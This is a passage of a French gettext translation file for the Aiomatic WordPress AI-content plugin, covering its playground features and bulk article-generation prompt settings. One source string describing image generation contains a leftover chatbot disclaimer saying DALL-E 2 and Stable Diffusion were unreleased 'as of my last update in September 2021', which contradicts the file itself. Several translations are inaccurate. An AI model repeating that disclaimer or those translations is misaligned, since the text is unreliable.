fonctionnalité, il vous suffit de " "naviguer vers les onglets correspondants en haut de cette page de menu. Dans " "chaque onglet, vous trouverez des vidéos tutorielles qui vous guideront dans " "l'installation, la configuration et l'utilisation de chaque fonction. Ces " "vidéos vous guident pas à pas, afin que vous puissiez tirer le meilleur " "parti des fonctions cachées d'Aiomatic." #: res/aiomatic-more.php:42 msgid "" "Unlock the true potential of Aiomatic's hidden features, harnessing the " "power of AI to streamline your content management, optimize your media " "library, engage with your audience, and enhance the visual impact of your " "website. It's time to take your WordPress experience to new heights with " "Aiomatic!" msgstr "" "Découvrez le véritable potentiel des fonctionnalités cachées d'Aiomatic, en " "exploitant la puissance de l'IA pour rationaliser votre gestion de contenu, " "optimiser votre bibliothèque de médias, engager votre audience et améliorer " "l'impact visuel de votre site web. Il est temps de porter votre expérience " "WordPress vers de nouveaux sommets avec Aiomatic !" #: res/aiomatic-more.php:44 msgid "" "Enjoy exploring Aiomatic's hidden features and maximizing the potential of " "your WordPress website!" msgstr "" "Prenez plaisir à explorer les fonctions cachées d'Aiomatic et à maximiser le " "potentiel de votre site Web WordPress !" #: res/aiomatic-more.php:48 msgid "Media Library Extensions Tutorial Videos:" msgstr "Vidéos tutorielles sur les extensions de la bibliothèque multimédia :" #: res/aiomatic-more.php:50 msgid "Automatic AI Written SEO Tags For Media Library Items:" msgstr "" "Balises SEO automatiques écrites par l'IA pour les éléments de la " "bibliothèque multimédia :" #: res/aiomatic-more.php:55 msgid "AI Assistant Tutorial Video:" msgstr "Tutoriel vidéo sur l'assistant de l'IA :" #: res/aiomatic-more.php:60 msgid "AI Comment Replier Tutorial Video:" msgstr "Tutoriel vidéo sur le réplicateur de commentaires AI :" #: res/aiomatic-more.php:70 msgid "[aicontent] Shortcode Tutorial Video:" msgstr "[aicontent] Shortcode Vidéo Tutoriel :" #: res/aiomatic-more.php:72 msgid "[aicontent] Nested Shortcode Support (Advanced Feature):" msgstr "" "[aicontent] Prise en charge des shortcodes imbriqués (fonctionnalité " "avancée) :" #: res/aiomatic-playground.php:15 msgid "Aiomatic Playground" msgstr "Aiomatic Playground" #: res/aiomatic-playground.php:21 msgid "Playgrounds" msgstr "Terrains de jeux" #: res/aiomatic-playground.php:24 res/aiomatic-playground.php:44 msgid "Text Completion" msgstr "Complétion de texte" #: res/aiomatic-playground.php:25 res/aiomatic-playground.php:48 msgid "Text Editing" msgstr "Édition de texte" #: res/aiomatic-playground.php:26 msgid "DALL-E 2 Image Generator" msgstr "Générateur d'images DALL-E 2" #: res/aiomatic-playground.php:27 msgid "Stable Diffusion Image Generator" msgstr "Générateur d'images de diffusion stables" #: res/aiomatic-playground.php:28 msgid "Aiomatic Chat" msgstr "Chat Aiomatic" #: res/aiomatic-playground.php:29 msgid "Whisper Speech To Text" msgstr "Conversation vocale vers Texte" #: res/aiomatic-playground.php:30 res/aiomatic-playground.php:64 msgid "Text Moderation" msgstr "Modération de texte" #: res/aiomatic-playground.php:36 msgid "" "Welcome to this comprehensive tutorial on the 'AI Playground' functionality " "of the Aiomatic plugin. This powerful tool harnesses the capabilities of " "artificial intelligence to provide a wide range of features that can enhance " "your digital experience. In this tutorial, we'll cover several key " "functionalities of the AI Playground, including text completion, text " "editing, image generation using AI technologies like DALL-E 2 and Stable " "Diffusion, a chatbot feature, speech-to-text conversion using the Whisper " "API, and text moderation. Each of these features can be used in various ways " "to generate and manage content, interact with users, and more." msgstr "" "Bienvenue dans ce tutoriel complet sur la fonctionnalité \"AI Playground\" " "du plugin Aiomatic. Cet outil puissant exploite les capacités de " "l'intelligence artificielle pour fournir une large gamme de fonctionnalités " "qui peuvent améliorer votre expérience numérique. Dans ce tutoriel, nous " "aborderons plusieurs fonctionnalités clés de l'AI Playground, notamment la " "complétion et l'édition de texte, la génération d'images à l'aide de " "technologies d'IA telles que DALL-E 2 et Stable Diffusion, une fonction de " "chatbot, la conversion de la parole en texte à l'aide de l'API Whisper, et " "la modération de texte. Chacune de ces fonctionnalités peut être utilisée de " "différentes manières pour générer et gérer du contenu, interagir avec les " "utilisateurs, etc." #: res/aiomatic-playground.php:39 msgid "" "Please note that you will also be able to use the shortcodes provided at the " "bottom of the forms which can be used in the AI Playground. These will add " "the same forms also to the front end of your site." msgstr "" "Veuillez noter que vous pourrez également utiliser les shortcodes fournis au " "bas des formulaires qui peuvent être utilisés dans le terrain de jeu de " "l'IA. Ceux-ci ajouteront les mêmes formulaires dans la partie frontale de " "votre site." #: res/aiomatic-playground.php:42 msgid "" "Please check below the available playgrounds to test the plugin's features:" msgstr "" "Veuillez consulter ci-dessous les terrains de jeu disponibles pour tester " "les fonctionnalités du plugin :" #: res/aiomatic-playground.php:46 msgid "" "Text completion is a feature where the AI can continue a text entered by the " "user. To use this feature, you would typically enter a piece of text, and " "the AI would generate a continuation of that text. This could be used for a " "variety of purposes, such as generating ideas for a story or completing a " "sentence in a natural-sounding way." msgstr "" "La complétion de texte est une fonction qui permet à l'IA de poursuivre un " "texte saisi par l'utilisateur. Pour utiliser cette fonction, vous devez " "généralement saisir un morceau de texte et l'IA doit générer la suite de ce " "texte. Cette fonction peut être utilisée à diverses fins, par exemple pour " "trouver des idées pour une histoire ou pour compléter une phrase de manière " "naturelle." #: res/aiomatic-playground.php:50 msgid "" "Text editing is a feature where the AI can be instructed to edit a text in " "multiple different ways. For example, you might input a piece of text and " "ask the AI to rewrite it in a more formal or informal tone, to simplify it, " "or to correct any grammatical errors. This could be useful for improving the " "quality of written content or adapting it for different audiences." msgstr "" "L'édition de texte est une fonction qui permet de demander à l'IA de " "modifier un texte de différentes manières. Par exemple, vous pouvez saisir " "un texte et demander à l'IA de le réécrire sur un ton plus formel ou " "informel, de le simplifier ou de corriger les erreurs grammaticales. Cela " "peut s'avérer utile pour améliorer la qualité d'un contenu écrit ou " "l'adapter à différents publics." #: res/aiomatic-playground.php:52 msgid "Image Generation Using DALL-E 2 and Stable Diffusion" msgstr "Génération d'images à l'aide de DALL-E 2 et de la diffusion stable" #: res/aiomatic-playground.php:54 msgid "" "Image generation is a feature where the AI generates images based on " "prompts. You would typically enter a text prompt, and the AI would generate " "an image that represents that prompt. This could be used for a variety of " "creative purposes, such as generating artwork or visualizing concepts. " "Please note that as of my last update in September 2021, DALL-E 2 and Stable " "Diffusion were not released or announced, so I can't provide specific " "details about these technologies." msgstr "" "La génération d'images est une fonction qui permet à l'IA de générer des " "images à partir de Prompts. En règle générale, vous saisissez une invite " "textuelle et l'IA génère une image qui représente cette invite. Cette " "fonction peut être utilisée à des fins créatives, par exemple pour créer des " "œuvres d'art ou visualiser des concepts. Veuillez noter que lors de ma " "dernière mise à jour en septembre 2021, DALL-E 2 et Stable Diffusion " "n'avaient pas été publiés ou annoncés, et que je ne peux donc pas fournir de " "détails spécifiques sur ces technologies." #: res/aiomatic-playground.php:56 msgid "Chatbot Feature" msgstr "Fonctionnalité du Chatbot" #: res/aiomatic-playground.php:58 msgid "" "The chatbot feature allows you to chat with an AI bot, ask questions, and " "get replies. You would typically enter a question or statement, and the AI " "would generate a response. This could be used for a variety of purposes, " "such as answering frequently asked questions, providing customer support, or " "just having a conversation." msgstr "" "La fonction de chatbot vous permet de discuter avec un robot d'intelligence " "artificielle, de lui poser des questions et d'obtenir des réponses. En règle " "générale, vous saisissez une question ou une déclaration, et l'IA génère une " "réponse. Cette fonction peut être utilisée à diverses fins, par exemple pour " "répondre à des questions fréquemment posées, fournir une assistance à la " "clientèle ou simplement avoir une conversation." #: res/aiomatic-playground.php:60 msgid "Speech to Text Using the Whisper API" msgstr "La voix en texte à l'aide de l'API Whisper" #: res/aiomatic-playground.php:62 msgid "" "Speech to text is a feature where the AI converts speech to text. You would " "typically record a piece of audio, and the AI would transcribe it into text. " "This could be useful for a variety of purposes, such as transcribing " "interviews, dictating notes, or making audio content more accessible." msgstr "" "La voix en texte est une fonction qui permet à l'intelligence artificielle " "de convertir la parole en texte. En règle générale, vous enregistrez un " "morceau de musique et l'IA le transcrit en texte. Cette fonction peut " "s'avérer utile à diverses fins, par exemple pour transcrire des entretiens, " "dicter des notes ou rendre le contenu audio plus accessible." #: res/aiomatic-playground.php:66 msgid "" "Text moderation is a feature where the AI filters unwanted content from your " "site. You would typically set up rules or criteria for what constitutes " "unwanted content, and the AI would review incoming content and filter out " "anything that meets those criteria. This could be used for a variety of " "purposes, such as preventing spam, blocking offensive content, or " "maintaining a positive community environment." msgstr "" "La modération de texte est une fonction qui permet à l'intelligence " "artificielle de filtrer le contenu indésirable de votre site. En règle " "générale, vous définissez des règles ou des critères pour déterminer ce qui " "constitue un contenu indésirable, et l'intelligence artificielle examine le " "contenu entrant et filtre tout ce qui répond à ces critères. Cette fonction " "peut être utilisée à diverses fins, comme la prévention du spam, le blocage " "des contenus offensants ou le maintien d'un environnement communautaire " "positif." #: res/aiomatic-playground.php:73 res/aiomatic-playground.php:79 #: res/aiomatic-playground.php:85 res/aiomatic-playground.php:91 #: res/aiomatic-playground.php:97 res/aiomatic-playground.php:103 #: res/aiomatic-playground.php:109 msgid "Shortcode alternative: " msgstr "Shortcode alternatif : " #: res/aiomatic-rules-list.php:164 msgid "Bulk AI Post Creator Tutorial" msgstr "Tutoriel Bulk AI Post Creator => " #: res/aiomatic-rules-list.php:202 msgid "Post Creation Mode" msgstr "Mode de création des messages" #: res/aiomatic-rules-list.php:206 msgid "" "The main difference between the Topic Based and Title Based posting mode is " "that the Topic Based mode will make a separate API request for each chapter " "of the content (+intro, outro, q&a) and compose the article from the result " "of each of these separate API requests. While the Title Based posting will " "make a single API request for the entire post content. For longer articles, " "it is recommended you use the Topic Based Posting method." msgstr "" "La principale différence entre le mode de publication ''Basé sur le titre/" "appels unique à l'API'' et le mode de publication ''Basé sur les sujets/" "appels multiples à l'API'' est que le mode 'Basé sur les sujets/appels " "multiples à l'API'' effectue une demande API distincte pour chaque chapitre " "du contenu (+intro, extrait de l'article, q&a) et compose l'article à partir " "du résultat de chacune de ces demandes API distinctes. L'affichage ''Basé " "sur le titre'' fera une seule demande d'API pour l'ensemble du contenu de " "l'article. Pour les articles plus longs, il est recommandé d'utiliser la " "méthode ''Basé sur les sujets/appels multiples de l'API''." #: res/aiomatic-rules-list.php:212 msgid "Post Title List / TXT File URL / RSS Feed URL" msgstr "Liste des titres des articles / URL du fichier TXT / URL du flux RSS" #: res/aiomatic-rules-list.php:216 msgid "" "Input your desired post titles (one per line), a TXT file with titles (one " "per line) or a RSS feed URL. The plugin will select a random post title at " "each run. Nested spintax supported. You can also enter RSS feed URLs, from " "where the plugin will extract a random post title, each time it runs. If you " "set a RSS feed URL, an item will be randomly selected from the title/" "description/content of the RSS feed contents - Update: nested shortcodes " "also supported (shortcodes generated by rules from other plugins). You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Saisissez les titres de vos articles (un par ligne), un fichier TXT avec les " "titres (un par ligne) ou une URL de flux RSS. Le plugin sélectionnera un " "titre d'article au hasard à chaque exécution. Les spintax imbriqués sont " "pris en charge. Vous pouvez également entrer des URL de flux RSS, à partir " "desquels le plugin extraira un titre d'article aléatoire, à chaque " "exécution. Si vous définissez une URL de flux RSS, un article sera " "sélectionné au hasard à partir du titre/de la description/du contenu du flux " "RSS - Mise à jour : les shortcodes imbriqués sont également pris en charge " "(shortcodes générés par des règles provenant d'autres plugins). Vous pourrez " "également utiliser les shortcodes personnalisés définis dans la fonction " "\"Custom Shortcode Creator\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-rules-list.php:322 res/aiomatic-rules-list.php:2973 msgid "Topic Based/Multiple API Calls" msgstr "Basé sur les sujets/appels multiples à l'API" #: res/aiomatic-rules-list.php:323 res/aiomatic-rules-list.php:2978 msgid "Title Based/Single API Call" msgstr "Basé sur le titre/appel unique à l'API" #: res/aiomatic-rules-list.php:341 res/aiomatic-rules-list.php:2995 msgid "Topic Based Posting Options" msgstr "Options de publications basées sur des sujets" #: res/aiomatic-rules-list.php:348 #, php-format msgid "" "If you set a post topic here, the titles you entered in the 'Post Title " "List' settings field will not be considered and titles will be auto " "generated based on this topic! Be sure to edit the 'Title Prompt' settings " "from below to change the way titles will be created! Enter a post topic " "list, one on each line. If you leave this field blank, the titles from " "entered in the 'Post Title List' settings field will be used. If you enter a " "value here, new titles will be created, based on this topic and the values " "from the 'Post Title List' will be overwritten. If you enter multiple topics " "(one per line), a random topic will be selected at each run. This will set " "the value of the %%topic%% shortcode, which can be used in prompts below. " "You will also be able to use the custom shortcodes defined in the 'Custom " "Shortcode Creator' feature from the rule settings - this will allow you to " "create partially or fully AI generated prompts which will be used for the " "content generators." msgstr "" "Si vous définissez un sujet de message ici, les titres que vous avez saisis " "dans le champ \"Liste des titres des postes\" ne seront pas pris en compte " "et les titres seront générés automatiquement en fonction de ce sujet ! " "Veillez à modifier les paramètres \"Titre Prompt\" ci-dessous pour changer " "la façon dont les titres seront créés ! Entrez une liste de sujets de " "messages, un sur chaque ligne. Si vous laissez ce champ vide, les titres " "saisis dans le champ \"Liste des titres des postes\" seront utilisés. Si " "vous entrez une valeur dans ce champ, de nouveaux titres seront créés, basés " "sur ce sujet, et les valeurs de la \"Liste des titres de messages\" seront " "écrasées. Si vous saisissez plusieurs thèmes (un par ligne), un thème " "aléatoire sera sélectionné à chaque exécution. Cela définira la valeur du " "shortcode %%topic%%, qui peut être utilisé dans les Prompts ci-dessous. Vous " "pourrez également utiliser les codes courts personnalisés définis dans la " "fonction \"Créateur de codes courts personnalisés\" à partir des paramètres " "de la règle - cela vous permettra de créer des Prompts partiellement ou " "entièrement générées par l'IA qui seront utilisées pour les générateurs de " "contenu." #: res/aiomatic-rules-list.php:352 msgid "Auto Generate Post Title Based On Topics (Optional):" msgstr "" "Générer automatiquement le titre de l'article en fonction des sujets " "(optionnel) :" #: res/aiomatic-rules-list.php:363 res/aiomatic-rules-list.php:3012 #: res/aiomatic-youtube-list.php:386 res/aiomatic-youtube-list.php:2778 #, php-format msgid "" "Enter a list of post sections, one per line. These will be headings of the " "content. These can also be automatically generated by the plugin. To enable " "auto generating of sections, leave this field blank. This will set the value " "of the %%sections%% shortcode, which can be used in prompts below. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators. If you set a section list here, each created article will have " "this same list of sections, because of this, use shortcodes or Spintax when " "defining these static topics or leave this field blank for the plugin to " "auto generate them!" msgstr "" "Entrez une liste de sections d'articles, une par ligne. Ce seront les titres " "du contenu. Ils peuvent également être générés automatiquement par le " "plugin. Pour activer la génération automatique des sections, laissez ce " "champ vide. Cela définira la valeur du shortcode %%sections%%, qui peut être " "utilisé dans les Prompts ci-dessous. Vous pourrez également utiliser les " "shortcodes personnalisés définis dans la fonction \"Custom Shortcode " "Creator\" (créateur de shortcodes personnalisés) à partir des paramètres de " "la règle - cela vous permettra de créer des Prompts partiellement ou " "entièrement générées par l'IA qui seront utilisées pour les générateurs de " "contenu !" #: res/aiomatic-rules-list.php:367 res/aiomatic-youtube-list.php:390 msgid "Post Sections List (Optional):" msgstr "Liste des sections de poste (facultatif) :" #: res/aiomatic-rules-list.php:378 res/aiomatic-rules-list.php:3025 #: res/aiomatic-youtube-list.php:401 res/aiomatic-youtube-list.php:2791 #, php-format msgid "" "Enter the number of sections to create in the article. These will also be " "set as article headings. You can also set value ranges, example: 5-7. In " "this case, a random number will be selected in this range. Please use only " "numeric values in this field. This field will set the value of the " "%%sections_count%% shortcode." msgstr "" "Saisissez le nombre de sections à créer dans l'article. Ces sections seront " "également définies comme titres de l'article. Vous pouvez également définir " "des plages de valeurs, par exemple : 5-7. Dans ce cas, un nombre aléatoire " "sera sélectionné dans cette fourchette. Veuillez n'utiliser que des valeurs " "numériques dans ce champ. Ce champ définira la valeur du shortcode " "%%sections_count%%." #: res/aiomatic-rules-list.php:382 res/aiomatic-youtube-list.php:405 msgid "Number Of Content Sections To Generate:" msgstr "Nombre de sections de contenu à générer :" #: res/aiomatic-rules-list.php:393 res/aiomatic-rules-list.php:3037 #: res/aiomatic-youtube-list.php:416 res/aiomatic-youtube-list.php:2803 msgid "Select what you want to do with sections in articles." msgstr "Sélectionnez ce que vous voulez faire avec les sections des articles." #: res/aiomatic-rules-list.php:397 res/aiomatic-youtube-list.php:420 msgid "Add Sections To Content As:" msgstr "Ajouter des sections au contenu en tant que :" #: res/aiomatic-rules-list.php:432 res/aiomatic-rules-list.php:3102 #: res/aiomatic-youtube-list.php:455 res/aiomatic-youtube-list.php:2868 msgid "" "Set the number of related images to add to the created post content. This " "feature will use the royalty free image sources configured in the plugin's " "'Main Settings' menu or if you have access to the DallE API. You can change " "image source in the 'AI Image Source' settings field from below. The maximum " "number of images you can add to each article: number of sections + 2" msgstr "" "Définissez le nombre d'images associées à ajouter au contenu de l'article " "créé. Cette fonctionnalité utilisera les sources d'images libres de droits " "configurées dans le menu 'Paramètres principaux' du plugin ou si vous avez " "accès à l'API DallE. Vous pouvez modifier la source d'image dans le champ de " "configuration \"IA Image Source\" ci-dessous. Le nombre maximum d'images que " "vous pouvez ajouter à chaque article : nombre de sections + 2" #: res/aiomatic-rules-list.php:436 res/aiomatic-youtube-list.php:459 msgid "Number of Images To Add To The Article:" msgstr "Nombre d'images à ajouter à l'article :" #: res/aiomatic-rules-list.php:448 res/aiomatic-rules-list.php:3114 #: res/aiomatic-youtube-list.php:471 res/aiomatic-youtube-list.php:2880 msgid "" "Select if you want to add an image to each of the creating headings from the " "article." msgstr "" "Sélectionnez si vous souhaitez ajouter une image à chacun des titres " "créateurs de l'article." #: res/aiomatic-rules-list.php:452 res/aiomatic-youtube-list.php:475 msgid "Add An Image To Each Heading Of The Article:" msgstr "Ajoute une image à chaque titre de l'article :" #: res/aiomatic-rules-list.php:463 res/aiomatic-youtube-list.php:486 msgid "Select the location of the heading images." msgstr "Sélectionnez l'emplacement des images d'en-tête." #: res/aiomatic-rules-list.php:467 res/aiomatic-youtube-list.php:490 msgid "Heading Image Location:" msgstr "Emplacement de l'image de l'en-tête :" #: res/aiomatic-rules-list.php:471 res/aiomatic-rules-list.php:3141 #: res/aiomatic-youtube-list.php:494 res/aiomatic-youtube-list.php:2907 msgid "Top of the heading content" msgstr "Haut du contenu de la rubrique" #: res/aiomatic-rules-list.php:472 res/aiomatic-rules-list.php:3146 #: res/aiomatic-youtube-list.php:495 res/aiomatic-youtube-list.php:2912 msgid "Bottom of the heading content" msgstr "Bas du contenu de la rubrique" #: res/aiomatic-rules-list.php:473 res/aiomatic-rules-list.php:3151 #: res/aiomatic-youtube-list.php:496 res/aiomatic-youtube-list.php:2917 msgid "Random (Top/Bottom)" msgstr "Aléatoire (haut/bas)" #: res/aiomatic-rules-list.php:482 msgid "" "Set the number of related YouTube videos to add to the created post content. " "The maximum number of videos you can add to each article: number of sections" msgstr "" "Définissez le nombre de vidéos YouTube connexes à ajouter au contenu de " "l'article créé. Nombre maximal de vidéos pouvant être ajoutées à chaque " "article : nombre de sections" #: res/aiomatic-rules-list.php:486 msgid "Number of YouTube Videos To Add To The Article:" msgstr "Nombre de vidéos YouTube à ajouter à l’article :" #: res/aiomatic-rules-list.php:720 #, php-format msgid "" "Prompt to be used for the Post Title. You can use the following shortcodes: " "%%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, " "%%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Prompt à utiliser pour le titre de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%topic%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Mise à jour : les shortcodes " "imbriqués sont également pris en charge (shortcodes générés par des règles " "provenant d'autres plugins). Vous pourrez également utiliser les shortcodes " "personnalisés définis dans la fonctionnalité \"Créateur de shortcodes " "personnalisés\" à partir des paramètres de la règle - cela vous permettra de " "créer des Prompts partiellement ou entièrement générées par l'IA qui seront " "utilisées pour les générateurs de contenu. Vous pourrez également utiliser " "les shortcodes personnalisés définis dans la fonction \"Custom Shortcode " "Creator\" à partir des paramètres de la règle - cela vous permettra de créer " "des Prompts partiellement ou entièrement générées par l'IA qui seront " "utilisées pour les générateurs de contenu." #: res/aiomatic-rules-list.php:758 #, php-format msgid "" "Prompt to be used for the intro of the article. You can use the following " "shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Invite à utiliser pour l'introduction de l'article. Vous pouvez utiliser les " "shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à " "jour : les shortcodes imbriqués sont également pris en charge (shortcodes " "générés par des règles provenant d'autres plugins). Vous pourrez également " "utiliser les shortcodes personnalisés définis dans la fonctionnalité " "\"Custom Shortcode Creator\" à partir des paramètres de la règle - cela vous " "permettra de créer des Prompts partiellement ou entièrement générées par " "l'IA qui seront utilisées pour les générateurs de contenu." #: res/aiomatic-rules-list.php:796 #, php-format msgid "" "Prompt to be used for the Sections of the article. These will be set also as " "headings in the article. You can use the following shortcodes: %%title%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, " "%%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Prompt à utiliser pour les sections de l'article. Celles-ci seront également " "définies comme titres dans l'article. Vous pouvez utiliser les shortcodes " "suivants : %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Mise à jour : les shortcodes " "imbriqués sont également pris en charge (shortcodes générés par des règles " "provenant d'autres plugins). Vous pourrez également utiliser les shortcodes " "personnalisés définis dans la fonctionnalité \"Créateur de shortcodes " "personnalisés\" à partir des paramètres de la règle - cela vous permettra de " "créer des Prompts partiellement ou entièrement générées par l'IA qui seront " "utilisées pour les générateurs de contenu." #: res/aiomatic-rules-list.php:800 res/aiomatic-youtube-list.php:823 msgid "Article Sections Prompt:" msgstr "Article Sections Prompt :" #: res/aiomatic-rules-list.php:811 res/aiomatic-rules-list.php:3361 #: res/aiomatic-youtube-list.php:834 res/aiomatic-youtube-list.php:3131 msgid "Select the AI Model to be used for the sections generator." msgstr "Sélectionnez le modèle IA à utiliser pour le générateur de sections." #: res/aiomatic-rules-list.php:815 res/aiomatic-youtube-list.php:838 msgid "AI Model For Sections Generator:" msgstr "Modèle d’IA pour le générateur de sections :" #: res/aiomatic-rules-list.php:834 res/aiomatic-rules-list.php:3382 #, php-format msgid "" "Prompt to be used for the Content of the article, which will be applied to " "each section heading generated by the plugin (or entered manually) or to the " "entire content (depending how you select using the 'Use the Above Content " "Prompt To Create The Entire Article' checkbox). You can use the following " "shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%current_section%%, %%paragraphs_per_section%%, " "%%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, " "%%blog_title%% - Update: nested shortcodes also supported (shortcodes " "generated by rules from other plugins). You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Prompt à utiliser pour le contenu de l’article, qui sera appliquée à chaque " "titre de section généré par le plugin (ou entré manuellement) ou à " "l’ensemble du contenu (selon la façon dont vous sélectionnez en utilisant la " "case à cocher « Utiliser l’invite de contenu ci-dessus pour créer l’article " "entier »). Vous pouvez utiliser les shortcodes suivants : %%title%%, " "%%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, " "%%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, " "%%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à " "jour : les shortcodes imbriqués sont également pris en charge (shortcodes " "générés par les règles d’autres plugins). Vous pourrez également utiliser " "les shortcodes personnalisés définis dans la fonction 'Custom Shortcode " "Creator' à partir des paramètres de règle - cela vous permettra de créer des " "Prompts partiellement ou entièrement générées par l’IA qui seront utilisées " "pour les générateurs de contenu." #: res/aiomatic-rules-list.php:872 res/aiomatic-rules-list.php:3416 #: res/aiomatic-youtube-list.php:895 res/aiomatic-youtube-list.php:3186 msgid "" "Select if you want to use the above content prompt to create the entire " "article from a single API call (checkbox checked) or to run the prompt for " "each section separately (checkbox unchecked). If you check this, be sure to " "modify the content prompt accordingly." msgstr "" "Sélectionnez si vous souhaitez utiliser le Prompt de contenu ci-dessus pour " "créer l'intégralité de l'article à partir d'un seul appel API (case cochée) " "ou si vous souhaitez exécuter le Prompt pour chaque section séparément (case " "non cochée). Si vous cochez cette case, veillez à modifier le Prompt de " "contenu en conséquence." #: res/aiomatic-rules-list.php:876 res/aiomatic-youtube-list.php:899 msgid "" "Use the Above Content Prompt To Create The Entire Article (Not Each Section):" msgstr "" "Utilisez le message-guide ci-dessus pour créer l'intégralité de l'article " "(et non chaque section) :" #: res/aiomatic-rules-list.php:887 #, php-format msgid "" "Prompt to be used for the Q&A of the article. You can use the following " "shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Prompt à utiliser pour Q&R (Question Réponse). Vous pouvez utiliser les " "shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Mise à jour : shortcodes imbriqués " "également pris en charge (shortcodes générés par des règles d’autres " "plugins). Vous pourrez également utiliser les shortcodes personnalisés " "définis dans la fonction 'Custom Shortcode Creator' à partir des paramètres " "de règle - cela vous permettra de créer des Prompts partiellement ou " "entièrement générées par l’IA qui seront utilisées pour les générateurs de " "contenu." #: res/aiomatic-rules-list.php:925 #, php-format msgid "" "Prompt to be used for the outro of the article. You can use the following " "shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections_count%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Prompt à utiliser pour l’extrait de l’article. Vous pouvez utiliser les " "shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Mise à jour : shortcodes imbriqués " "également pris en charge (shortcodes générés par des règles d’autres " "plugins). Vous pourrez également utiliser les shortcodes personnalisés " "définis dans la fonction 'Custom Shortcode Creator' à partir des paramètres " "de règle - cela vous permettra de créer des Prompts partiellement ou " "entièrement générées par l’IA qui seront utilisées pour les générateurs de " "contenu." #: res/aiomatic-rules-list.php:963 #, php-format msgid "" "Prompt to be used for the excerpt of the article. You can use the following " "shortcodes: %%title%%, %%language%%, %%writing_style%%, %%writing_tone%%, " "%%sections%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Update: nested shortcodes also " "supported (shortcodes generated by rules from other plugins). You will also " "be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "Prompt à utiliser pour l’extrait de l’article. Vous pouvez utiliser les " "shortcodes suivants : %%title%%, %%language%%, %%writing_style%%, " "%%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, " "%%post_original_title%%, %%blog_title%% - Mise à jour : shortcodes imbriqués " "également pris en charge (shortcodes générés par des règles d’autres " "plugins). Vous pourrez également utiliser les shortcodes personnalisés " "définis dans la fonction 'Custom Shortcode Creator' à partir des paramètres " "de règle - cela vous permettra de créer des Prompts partiellement ou " "entièrement générées par l’IA qui seront utilisées pour les générateurs de " "contenu." #: res/aiomatic-rules-list.php:1057 res/aiomatic-rules-list.php:3580 msgid "Title Based Posting Options" msgstr "Options d'affichage basées sur le titre" #: res/aiomatic-rules-list.php:1060 res/aiomatic-rules-list.php:3581 msgid "Post Content - AI Text Generator Options" msgstr "Contenu de l'article - Options du générateur de texte IA" #: res/aiomatic-rules-list.php:1067 